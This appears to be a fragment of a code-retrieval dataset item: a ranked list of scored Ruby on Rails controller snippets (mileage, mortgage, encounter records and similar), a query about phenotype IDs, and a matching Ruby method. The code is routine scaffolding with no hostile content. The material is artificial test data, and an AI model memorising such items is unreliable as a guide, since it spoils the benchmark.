@mileage.update(mileage_params)\n format.html { redirect_to @mileage, notice: 'Mileage was successfully updated.' }\n format.json { render :show, status: :ok, location: @mileage }\n else\n format.html { render :edit }\n format.json { render json: @mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d0940e8fdd64e9d31a57cb402ca161f", "score": "0.58145744", "text": "def add_miles\n new_mileage = route_mileage + new_mileage\n end", "title": "" }, { "docid": "e44e20d5ddd4c9b0b3b14d88ca40eae5", "score": "0.575696", "text": "def index\n @gas_mileages = GasMileage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gas_mileages }\n end\n end", "title": "" }, { "docid": "03ba7ba277acd377724e3f9d1c923623", "score": "0.57153845", "text": "def show\n @mileage = Mileage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mileage }\n end\n end", "title": "" }, { "docid": "6211a40cfc80eaeb9d5ed6bd74b76666", "score": "0.57006305", "text": "def new\n @milesdtone = Milesdtone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @milesdtone }\n end\n end", "title": "" }, { "docid": "c4baf571c8641b21e523b516bcbff006", "score": "0.5684824", "text": "def mortgage_params\n params.require(:mortgage).permit(:user_id, :balance_string, :account_type, :monthly_account_rate, :is_active)\n end", "title": "" }, { "docid": "8a00d7b5946cbe3266a7ddf72b4b979a", "score": "0.5684663", "text": "def increment_mileage(miles)\r\n total = mileage + miles\r\n self.mileage = total\r\n end", "title": "" }, { "docid": "100037e739c54ab7b3ae71e190ee5837", "score": "0.56682086", "text": "def create\n @mileage_segment = MileageSegment.new(params[:mileage_segment])\n\n respond_to do |format|\n if @mileage_segment.save\n format.html { redirect_to @mileage_segment, notice: 'Mileage segment was successfully created.' }\n format.json { render json: @mileage_segment, status: :created, location: @mileage_segment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mileage_segment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d1614d683e5019400b4c925f62db314", "score": "0.5641464", "text": "def new\n @moto_mileage = MotoMileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_mileage }\n end\n end", "title": "" }, { "docid": "99bb59652b5ffe3fd4276b398ef5e8f8", "score": "0.563869", "text": "def create\n @damage_immunity = DamageImmunity.new(damage_immunity_params)\n\n respond_to do |format|\n if @damage_immunity.save\n format.html { redirect_to @damage_immunity, notice: 'Damage immunity was successfully created.' }\n format.json { render :show, status: :created, location: @damage_immunity }\n else\n format.html { render :new }\n format.json { render json: @damage_immunity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff022c6ac9ee4d4edaa243aea00f3d9b", "score": "0.5596119", "text": "def create\n roommates = params[:expense][:roommate_expenses]\n params[:expense].delete :roommate_expenses\n @expense = Expense.create params[:expense]\n\n roommates.values.each { |r|\n @expense.roommate_expenses.new(r)\n }\n\n respond_to do |format|\n if @expense.save\n Notification.notify!(@expense.roommates, current_user, :created, @expense)\n format.html { redirect_to expenses_path, notice: 'Expense was successfully created.' }\n format.json { render json: @expense, status: :created, location: @expense }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d12d465791666f5e4f5ef7073b8ba4a2", "score": "0.5565784", "text": "def create\n @mezage = Mezage.new(mezage_params)\n\n respond_to do |format|\n if @mezage.save\n format.html { redirect_to @mezage, notice: 'Mezage was successfully created.' }\n format.json { render :show, status: :created, location: @mezage }\n else\n format.html { render :new }\n format.json { render json: @mezage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb27e72fb81289720ee3c6970624a85e", "score": "0.55248857", "text": "def calcul_budget\n party_size = params[:party_size].to_i\n party_level = params[:party_level].to_i\n budget_encounter = Monster.level_to_xp(party_level) * party_size\n encounters_exemple = Encounter.select(:description).where(experience: budget_encounter)\n respond_to do |format|\n format.json { render json: { budget: budget_encounter, encounters: encounters_exemple } }\n end\n end", "title": "" }, { "docid": "57ee037037a4a4a2d506af3b6f486f5b", "score": "0.5516178", "text": "def update\n @mileage = Mileage.find(params[:id])\n\n respond_to do |format|\n if @mileage.update_attributes(params[:mileage])\n flash[:notice] = 'Mileage was successfully updated.'\n format.html { redirect_to mileages_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d11329d653a795989bd44a1affb3639a", "score": "0.551079", "text": "def destroy\n @mileage = Mileage.find(params[:id])\n @mileage.destroy\n\n respond_to do |format|\n format.html { redirect_to mileages_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b32eca7f04325cc43ac48a5d207a89d2", "score": "0.54934615", "text": "def create\n @mouvement = Mouvement.new(mouvement_params)\n\n respond_to do |format|\n if @mouvement.save\n format.html { redirect_to mouvements_url, notice: 'Mouvement was successfully created.' }\n format.json { render :show, status: :created, location: @mouvement }\n else\n format.html { render :new }\n format.json { render json: @mouvement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "514ca356ed78e2adf98d97d96dff104b", "score": "0.5487857", "text": "def create\n @multimedium = Multimedium.new(params[:multimedium])\n\n respond_to do |format|\n if @multimedium.save\n format.html { redirect_to @multimedium, notice: 'Multimedium was successfully created.' }\n format.json { render json: @multimedium, status: :created, location: @multimedium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @multimedium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b87ce19cb98bc4b4b12afb5b82d780d", "score": "0.5476023", "text": "def destroy\n @admin_mileage = Admin::Mileage.find(params[:id])\n @admin_mileage.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_mileages_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "69ffb936fabbbf11717a37c1064beb00", "score": "0.5451312", "text": "def print_mileage\r\n puts mileage\r\n end", "title": "" }, { "docid": "8c09bf26ed722bc1f3afa3cf323a2edf", "score": "0.54345757", "text": "def show\n @admin_mileage = Admin::Mileage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_mileage }\n end\n end", "title": "" }, { "docid": "8873171d24f04ac7c61f3f00a5a6ece9", "score": "0.54251117", "text": "def create\n @api_v1_mentoring_interest = Api::V1::MentoringInterest.new(api_v1_mentoring_interest_params)\n\n respond_to do |format|\n if @api_v1_mentoring_interest.save\n format.html { redirect_to @api_v1_mentoring_interest, notice: 'Mentoring interest was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_mentoring_interest }\n else\n format.html { render :new }\n format.json { render json: @api_v1_mentoring_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad0986cd5d11acdb82ddf4d2515f8352", "score": "0.54250133", "text": "def create\n @millage = Millage.new(millage_params)\n @millage.id = Millage.last.id + 1 \n respond_to do |format|\n if @millage.save\n format.html { redirect_to millages_url}\n format.json { render :show, status: :created, location: @millage }\n else\n format.html { render :new }\n format.json { render json: @millage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27c14e87213c38701582dc41a2003d5e", "score": "0.54152226", "text": "def create\n megam_rest.post_billedhistories(to_hash)\n end", "title": "" }, { "docid": "9b53dc1c006ce8086c1b88903bd6cd32", "score": "0.54047334", "text": "def create\n @metum = Metum.new(metum_params)\n\n if @metum.save\n render :show, status: :created, location: @metum\n else\n render json: @metum.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7bd5c0193bcc8697f4787b9faa957f6b", "score": "0.5402984", "text": "def create\n @mouvement = Mouvement.new(params[:mouvement])\n\n respond_to do |format|\n if @mouvement.save\n format.html { redirect_to @mouvement, notice: 'Mouvement was successfully created.' }\n format.json { render json: @mouvement, status: :created, location: @mouvement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mouvement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e66b0331b74f39a187c77c270c72053", "score": "0.5394358", "text": "def update\n @moto_mileage = MotoMileage.find(params[:id])\n\n respond_to do |format|\n if @moto_mileage.update_attributes(params[:moto_mileage])\n format.html { redirect_to(@moto_mileage, :notice => 'Moto mileage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @moto_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efdb5b181e59efbb8fd475cd5c90bfbb", "score": "0.53927165", "text": "def create\n @mma_interest = MmaInterest.new(mma_interest_params)\n\n respond_to do |format|\n if @mma_interest.save\n format.html { redirect_to @mma_interest, notice: 'Mma interest was successfully created.' }\n format.json { render :show, status: :created, location: @mma_interest }\n else\n format.html { render :new }\n format.json { render json: @mma_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61a1f128e7e3afd787b36c970f557aa9", "score": "0.53922254", "text": "def new\n @budget = Budget.new\n @years = (2000..2050).to_a\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "title": "" }, { "docid": "6e0955a3c340a8e075534d0597532e7e", "score": "0.5387197", "text": "def update_mileage\n update_attribute(:mileage, rides.sum(:distance))\n end", "title": "" }, { "docid": "c8ee9bdfa34c3ee202d51d1cad0968d9", "score": "0.53856295", "text": "def create\n\n @income = Income.new(params[:income])\n @income.budget = current_budget\n @income.generate_periods = true\n\n if @income.save\n render :json => @income.to_json(:include => :income_values), status: :created, location: @income\n else\n render json: @income.errors, status: :unprocessable_entity \n end\n\n end", "title": "" }, { "docid": "fc058279a01363f8cb20eca1832f0a9f", "score": "0.53800815", "text": "def create\n @mk_imatge = MkImatge.new(mk_imatge_params)\n\n respond_to do |format|\n if @mk_imatge.save\n format.html { redirect_to @mk_imatge, notice: 'Mk imatge was successfully created.' }\n format.json { render :show, status: :created, location: @mk_imatge }\n else\n format.html { render :new }\n format.json { render json: @mk_imatge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "721ecce3ba5739d305348728030752c3", "score": "0.53740335", "text": "def create\n @maxim = Maxim.new(maxim_params)\n\n respond_to do |format|\n if @maxim.save\n format.html { redirect_to @maxim, notice: 'Maxim was successfully created.' }\n format.json { render :show, status: :created, location: @maxim }\n else\n format.html { render :new }\n format.json { render json: @maxim.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47c54246a38e0653fb51377fef97bdbc", "score": "0.53654057", "text": "def create\n @malesenior200mt = Malesenior200mt.new(malesenior200mt_params)\n\n respond_to do |format|\n if @malesenior200mt.save\n format.html { redirect_to action:index, notice: 'Malesenior200mt was successfully created.' }\n format.json { render :show, status: :created, location: @malesenior200mt }\n else\n format.html { render :new }\n format.json { render json: @malesenior200mt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "053a1547ebbf780ff7badc660ade6d93", "score": "0.53629977", "text": "def create\n @examination = Examination.new(examination_params)\n respond_to do |format|\n if @examination.save\n Weightage.create(examination_id: @examination.id, percentage: '100') \n format.html { redirect_to @examination, notice: 'Examination was successfully created.' }\n format.json { render :show, status: :created, location: @examination }\n else\n format.html { render :new }\n format.json { render json: @examination.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc46bcab308f638cdf8f0b62f9cb9762", "score": "0.53456086", "text": "def create\n @asset_risk_mgt = AssetRiskMgt.new(params[:asset_risk_mgt])\n\n respond_to do |format|\n if @asset_risk_mgt.save\n format.html { redirect_to @asset_risk_mgt, notice: 'Asset risk mgt was successfully created.' }\n format.json { render json: @asset_risk_mgt, status: :created, location: @asset_risk_mgt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @asset_risk_mgt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d82e65d520b4a6c090cc9661bfd0419a", "score": "0.5343383", "text": "def create\n @api_v1_mentoring_request_interest = Api::V1::MentoringRequestInterest.new(api_v1_mentoring_request_interest_params)\n\n respond_to do |format|\n if @api_v1_mentoring_request_interest.save\n format.html { redirect_to @api_v1_mentoring_request_interest, notice: 'Mentoring request interest was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_mentoring_request_interest }\n else\n format.html { render :new }\n format.json { render json: @api_v1_mentoring_request_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19b25c928193897a3c99deba919c47bb", "score": "0.53432786", "text": "def create\n\n params[:encounter][:monsters] = []\n params[:incmonster].each do |monster, value|\n next unless value == \"true\"\n (1..params[:nummonster][monster].to_i).each do\n params[:encounter][:monsters] << Monster.find(monster.to_i)\n end\n end\n\n @encounter = Encounter.new(params[:encounter])\n\n respond_to do |format|\n if @encounter.save\n format.html { redirect_to @encounter, notice: 'Encounter was successfully created.' }\n format.json { render json: @encounter, status: :created, location: @encounter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @encounter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fa3214fa31c83d2e6037958157f00e6", "score": "0.534308", "text": "def new\n @percentage_modifier = PercentageModifier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @percentage_modifier }\n end\n end", "title": "" }, { "docid": "d0258c6cafbbb35153ba6901156f87cf", "score": "0.53351897", "text": "def update\n @gas_mileage = GasMileage.find(params[:id])\n\n respond_to do |format|\n if @gas_mileage.update_attributes(params.require(:gas_mileage).permit(:mdate, :mileage, :vehicle_id))\n format.html { redirect_to gas_mileages_url,\n notice: 'GasMileage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gas_mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da6708f86f2fa79327f62c19efb53dcd", "score": "0.5323612", "text": "def destroy\n @mileage.destroy\n respond_to do |format|\n format.html { redirect_to mileages_url, notice: 'Mileage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d4271e5e89be277b9a76c94f1218ca88", "score": "0.53188664", "text": "def create\n @kuldevi_matum = KuldeviMatum.new(params[:kuldevi_matum])\n\n respond_to do |format|\n if @kuldevi_matum.save\n format.html { redirect_to @kuldevi_matum, notice: 'Kuldevi matum was successfully created.' }\n format.json { render json: @kuldevi_matum, status: :created, location: @kuldevi_matum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kuldevi_matum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2bf85cf510872e32a90ea70ac90ea70", "score": "0.53174806", "text": "def create\n @medicament = Medicament.new(medicament_params)\n\n if @medicament.save\n render json: @medicament\n else\n render json: @medicament.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "96f3c80adf23bc937845b8d5fc39c8bf", "score": "0.53165597", "text": "def set_mortgage\n @mortgage = Mortgage.find(params[:id])\n end", "title": "" }, { "docid": "96f3c80adf23bc937845b8d5fc39c8bf", "score": "0.53165597", "text": "def set_mortgage\n @mortgage = Mortgage.find(params[:id])\n end", "title": "" }, { "docid": "2043b97381e1d665d60785f05b832d85", "score": "0.53062725", "text": "def new\n @medium = Medium.new\n 5.times { @medium.mfiles.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium }\n end\n end", "title": "" }, { "docid": "20f2669499614f8aad922ec2d88d3d33", "score": "0.5299723", "text": "def create\n @mile_service = MileService.new(mile_service_params)\n\n respond_to do |format|\n if @mile_service.save\n format.html { redirect_to @mile_service, notice: 'Mile service was successfully created.' }\n format.json { render :show, status: :created, location: @mile_service }\n else\n format.html { render :new }\n format.json { render json: @mile_service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ed51269ed46f1e53c57c691f9141757", "score": "0.52949595", "text": "def create\n @temoignage = Temoignage.new(params[:temoignage])\n\n respond_to do |format|\n if @temoignage.save\n format.html { redirect_to @temoignage, notice: 'Temoignage was successfully created.' }\n format.json { render json: @temoignage, status: :created, location: @temoignage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @temoignage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e4636fdeb0c4fba02ab07945d5af6a5", "score": "0.52930886", "text": "def create\n authorize! :manage, Pupil\n @monthly_fee = MonthlyFee.new(monthly_fee_params)\n @monthly_fee.pupil = @pupil\n\n respond_to do |format|\n if @monthly_fee.save\n format.html { redirect_to pupil_monthly_fees_path(@pupil), notice: 'Monthly fee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @monthly_fee }\n else\n format.html { render action: 'new' }\n format.json { render json: @monthly_fee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ea94caa9a26692e470198f97f81597f", "score": "0.52924854", "text": "def new\n if recent = Mileage.find(:first, :order => 'ending DESC')\n @mileage = Mileage.new(:driven_on => 1.day.since(recent.driven_on), :starting => recent.ending)\n else\n @mileage = Mileage.new\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mileage }\n end\n end", "title": "" }, { "docid": "77fabac9eafad568a6f1e7726a20cb26", "score": "0.52889454", "text": "def award_mileage\n options[:award_program].itinerary_award_mileage(itinerary).to_i\n end", "title": "" }, { "docid": "275ecd684dcf722947c61e33aac5ed4e", "score": "0.5284115", "text": "def malesenior200mt_params\n params.require(:malesenior200mt).permit(:place, :achievement, :rail, :number, :athlete, :an, :club, :region, :country, :maleSenior200mts_id)\n end", "title": "" }, { "docid": "f678e979d009b37806d56ac2b95cd1e0", "score": "0.527713", "text": "def create\n @outage = Outage.new(outage_params)\n\n respond_to do |format|\n if @outage.save\n format.html { redirect_to @outage, notice: 'Outage was successfully created.' }\n format.json { render :show, status: :created, location: @outage }\n else\n format.html { render :new }\n format.json { render json: @outage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f55e4c237454ecec3086de976f77e16", "score": "0.52761585", "text": "def create\n @car_mileage = CarMileage.new(params[:car_mileage])\n\n respond_to do |format|\n if @car_mileage.save\n format.html { redirect_to(@car_mileage, :notice => 'Car mileage was successfully created.') }\n format.xml { render :xml => @car_mileage, :status => :created, :location => @car_mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @car_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27b8a90f4e4e7807b7ab9296ec669f3c", "score": "0.5274573", "text": "def new\n @temoignage = Temoignage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @temoignage }\n end\n end", "title": "" }, { "docid": "03420e42cde99af01a37d5b4afc0345a", "score": "0.52667165", "text": "def create\n @outage = Api::V1::Outage.new(params[:outage])\n\n respond_to do |format|\n if @outage.save\n format.html { redirect_to @outage, notice: 'Outage was successfully created.' }\n format.json { render json: @outage, status: :created, location: @outage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @outage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8dd9a80c6c620ebdb581b0db183e9bcf", "score": "0.5263279", "text": "def missile_params\n params.require(:missile).permit(:power, :dice)\n end", "title": "" }, { "docid": "b9ebdd029363bad91ced9941dfd72d58", "score": "0.52610546", "text": "def create\n @male20000mt = Male20000mt.new(male20000mt_params)\n\n respond_to do |format|\n if @male20000mt.save\n format.html { redirect_to action:index, notice: 'Male20000mt was successfully created.' }\n format.json { render :show, status: :created, location: @male20000mt }\n else\n format.html { render :new }\n format.json { render json: @male20000mt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "02be42c8cdf39231bc07c0edfdb7eef4", "score": "0.52608234", "text": "def millage_params\n params.require(:millage).permit(:range)\n end", "title": "" }, { "docid": "6c0edb1f27b35f812f1b6c95c3807cf0", "score": "0.5258962", "text": "def update\n @mile = Mile.find(params[:id])\n\n respond_to do |format|\n if @mile.update_attributes(params[:mile])\n format.html { redirect_to @mile, notice: 'Mile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "735f3bf25acea7455d1da86b55d893d2", "score": "0.5257207", "text": "def create\r\n @maison = Maison.new(maison_params)\r\n @maison.agent_id = params[:agent_id]\r\n @maison.title = params[:maison][:title]\r\n @maison.lieux = params[:maison][:lieux]\r\n @maison.duree = params[:maison][:duree]\r\n @maison.equipement = params[:maison][:equipement]\r\n @maison.prix = params[:maison][:prix].to_i\r\n\r\n respond_to do |format|\r\n if @maison.save\r\n params[:photos]['image'].each do |a|\r\n @photo = @maison.photos.create!(:image => a, :maison_id => @maison.id)\r\n end\r\n format.html { redirect_to @maison, notice: 'Maison was successfully created.' }\r\n format.json { render :show, status: :created, location: @maison }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @maison.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a321f449870bc9838f66f6a9dca6e1d3", "score": "0.525366", "text": "def create\n @multum = Multum.new(multum_params)\n\n respond_to do |format|\n if @multum.save\n format.html { redirect_to @multum, notice: \"Multum was successfully created.\" }\n format.json { render :show, status: :created, location: @multum }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @multum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ed8e24e18d6288ad5a3673e721906b0", "score": "0.52465594", "text": "def get_damages_by_year_and_month\n\n @damage = Damage.damages_by_year_and_month(\n params[:damage_year],\n params[:damage_month]\n )\n\n respond_to do |format|\n format.json { render :json => @damage }\n format.js\n end\n\n end", "title": "" }, { "docid": "7ce491b1abc64657beed278ecf39f147", "score": "0.5245614", "text": "def medicament_params\n params.require(:medicament).permit(:description, :dosage, :quantity, :inventory_min)\n end", "title": "" }, { "docid": "e6e22a74df75e7fa34a2acaf2624b59a", "score": "0.52399534", "text": "def month_interest_summary\n if request.xhr?\n months = params[:number_of_months].to_i\n emi_month_summary = EmiCalculator.calculate_summary_for_months(params[:principal_amount].to_f,params[:rate_of_intrest].to_f,\n months,params[:emi].to_f)\n response = {success: true, err: nil}\n response.merge!({total_interest: '%.2f' %emi_month_summary[:months][months][:total_interest] ,\n total_principal: '%.2f' %emi_month_summary[:months][months][:total_principal]})\n render :json => response \n else\n redirect_to \"/\"\n end\n end", "title": "" }, { "docid": "3c2385f61f09d8bd5c069ae18dd7d8b4", "score": "0.52391493", "text": "def create\n @mortgage_account = MortgageAccount.new(mortgage_account_params)\n\n respond_to do |format|\n if @mortgage_account.save\n format.html { redirect_to @mortgage_account, notice: 'Mortgage account was successfully created.' }\n format.json { render :show, status: :created, location: @mortgage_account }\n else\n format.html { render :new }\n format.json { render json: @mortgage_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0de7c71240049d5241759724d61b0d2", "score": "0.5228607", "text": "def create\n @percentage_modifier = PercentageModifier.new(params[:percentage_modifier])\n\n respond_to do |format|\n if @percentage_modifier.save\n format.html { redirect_to @percentage_modifier, notice: 'Percentage modifier was successfully created.' }\n format.json { render json: @percentage_modifier, status: :created, location: @percentage_modifier }\n else\n format.html { render action: \"new\" }\n format.json { render json: @percentage_modifier.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b88828e938df6915ba9fcd89e6eb7a60", "score": "0.52222806", "text": "def create\n @caravan_mileage = CaravanMileage.new(params[:caravan_mileage])\n\n respond_to do |format|\n if @caravan_mileage.save\n format.html { redirect_to(@caravan_mileage, :notice => 'Caravan mileage was successfully created.') }\n format.xml { render :xml => @caravan_mileage, :status => :created, :location => @caravan_mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @caravan_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6260c9c7583e96a7447b43c050a94c18", "score": "0.5220313", "text": "def create\n @body_mass_percentile = BodyMassPercentile.new(params[:body_mass_percentile])\n\n respond_to do |format|\n if @body_mass_percentile.save\n format.html { redirect_to(@body_mass_percentile, :notice => 'Body mass percentile was successfully created.') }\n format.xml { render :xml => @body_mass_percentile, :status => :created, :location => @body_mass_percentile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @body_mass_percentile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd508b1556bf94d7f0205882893eb5bb", "score": "0.52162224", "text": "def create\n @immunization = Immunization.new(immunization_params)\n\n respond_to do |format|\n if @immunization.save\n format.html { redirect_to immunizations_url, notice: 'Immunization was successfully created.' }\n # format.json { render :show, status: :created, location: @immunization }\n else\n format.html { render :new }\n format.json { render json: @immunization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e178093c1e0b3f207de847b9c317000", "score": "0.52094096", "text": "def simulator\n @invoice = Invoice.new(:contract_monthly_rent => params[:invoice][:contract_monthly_rent])\n render json: @invoice\n end", "title": "" }, { "docid": "95f4f1e061a6835dc36688310d0f1c1a", "score": "0.5209036", "text": "def create\n @male100mt = Male100mt.new(male100mt_params)\n\n respond_to do |format|\n if @male100mt.save\n format.html { redirect_to action:index, notice: 'Male100mt was successfully created.' }\n format.json { render :show, status: :created, location: @male100mt }\n else\n format.html { render :new }\n format.json { render json: @male100mt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de27e7bad1ac6472e9051bc6a6542a74", "score": "0.5208657", "text": "def new\n @luggage = current_passenger.luggage.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @luggage }\n end\n end", "title": "" }, { "docid": "4f37c7c50faba85c12f58f2582a21cf3", "score": "0.5203775", "text": "def new\n @wage = Wage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wage }\n end\n end", "title": "" }, { "docid": "8ddd480f07e5981932e2f61fe8c5bfd5", "score": "0.5201687", "text": "def new\n @m_oiletc = MOiletc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_oiletc }\n end\n end", "title": "" }, { "docid": "118c73d544928b0534e21b26008ad7bc", "score": "0.520053", "text": "def new\n @fair_wage = FairWage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fair_wage }\n end\n end", "title": "" }, { "docid": "2aeda157701a5a5fb0475f8aeaaef634", "score": "0.51985025", "text": "def create\n @morning_ritual = MorningRitual.new(morning_ritual_params)\n\n respond_to do |format|\n if @morning_ritual.save\n format.html { redirect_to :back, notice: 'Morning ritual was successfully created.' }\n format.json { render :show, status: :created, location: :back }\n else\n format.html { render :new }\n format.json { render json: @morning_ritual.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc4d976233728578304704c21f1013f0", "score": "0.5197434", "text": "def new\n @multimedium = Multimedium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @multimedium }\n end\n end", "title": "" }, { "docid": "a8491201b30b56b00d5d602c6f9c79f8", "score": "0.5188288", "text": "def create\n @mision = Mision.new(mision_params)\n\n respond_to do |format|\n if @mision.save\n format.html { redirect_to @mision, notice: 'Mision was successfully created.' }\n format.json { render :show, status: :created, location: @mision }\n else\n format.html { render :new }\n format.json { render json: @mision.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d525247f92ab90e195fbe533546df409", "score": "0.5187757", "text": "def damage_immunity_params\n params.fetch(:damage_immunity).permit(:name)\n end", "title": "" }, { "docid": "fd5cc75f896974714465f68fe8445c8e", "score": "0.5184569", "text": "def gas_mileage(miles, gallons)\n self.miles = miles\n self.gallons = gallons\n puts \"Your gas mileage is #{miles / gallons}\"\n end", "title": "" }, { "docid": "3733ff50493f3599ad0f43539f35c8df", "score": "0.5181777", "text": "def new\n @post = Post.new\n\n @threshold = (current_user.karma * 0.02).round\n\n @threshold = 4 if @threshold < 4\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "198ff66048c73d2f2efbc4ceb0250dd1", "score": "0.5172941", "text": "def create\n @male200mt = Male200mt.new(male200mt_params)\n\n respond_to do |format|\n if @male200mt.save\n format.html { redirect_to action:index, notice: 'Male200mt was successfully created.' }\n format.json { render :show, status: :created, location: @male200mt }\n else\n format.html { render :new }\n format.json { render json: @male200mt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
5cd8cdf57adf965955179bdcd8c8b641
Find all phenotype IDs which collapsed into this one phenotype ID.
[ { "docid": "1071c4effb2f313316f63b5737187171", "score": "0.50427055", "text": "def equivalent_phenotype_ids id\n if @skip_table.has_key?(id)\n skip_ids = @skip_table[id]\n if skip_ids.is_a?(Array)\n skip_ids + [id]\n else\n [skip_ids, id]\n end\n else\n [id]\n end\n end", "title": "" } ]
